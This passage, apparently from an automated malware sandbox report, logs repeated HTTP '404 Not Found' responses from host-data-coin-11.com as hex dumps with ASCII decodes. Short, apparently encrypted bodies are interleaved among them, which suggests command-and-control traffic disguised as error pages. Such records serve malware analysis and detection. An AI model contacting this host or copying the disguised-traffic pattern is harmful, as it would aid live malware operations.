72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:12:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 62 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3c 5c a2 f7 d8 fc fb 46 f5 46 86 32 ef 06 10 c2 4b e1 e1 39 0d 0a 30 0d 0a 0d 0a Data Ascii: 2bI:82OI<\FF2K90
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:12:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:12:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 36 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 50 df 41 d7 f7 22 82 23 e9 af 9a 56 29 e6 b7 4f 29 e3 b3 b7 6d f4 9d ba 5f a9 74 92 ca 31 46 5a 3c 02 49 d3 bb 55 ab e9 5d 8f ad d6 05 c0 60 9d d2 69 0d 0a 30 0d 0a 0d 0a Data Ascii: 66I:82OB%,YR("XPA"#V)O)m_t1FZ<IU]`i0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:13:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:13:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:13:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 1e 49 3a 44 a6 e8 de ea e4 40 fd 45 91 6e b8 57 5b 91 17 bf ec 31 e5 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:D@EnW[10
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:13:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 4c ee af 88 70 bc 57 dd 42 d0 fc 25 84 26 e8 c3 90 52 2e ee a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9LpWB%&R.c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:13:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:13:26 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 98 d6 08 55 3f 41 be f2 d8 fc fb 43 fc 53 cd 76 bb 44 10 99 04 e1 fa 67 e5 32 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eI:82OU?ACSvDg2P0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:13:28 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:13:28 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:13:29 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:13:29 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:13:29 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 32 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 85 4f 13 25 1e e9 e9 df b7 82 16 95 2d ec 0d 0a 30 0d 0a 0d 0a Data Ascii: 22I:82OO%-0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:13:29 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 37 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 59 8c 3a f8 0e 69 c0 31 c3 db 66 f1 64 50 06 b9 bc 8e 16 a3 1b 80 02 0d 0a 30 0d 0a 0d 0a Data Ascii: 37I:82OTeY:i1fdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:13:30 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 94 4e 08 79 06 be aa 85 bc a1 5e b1 44 ca 7a a6 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 25I:82ONy^DzU0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:13:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
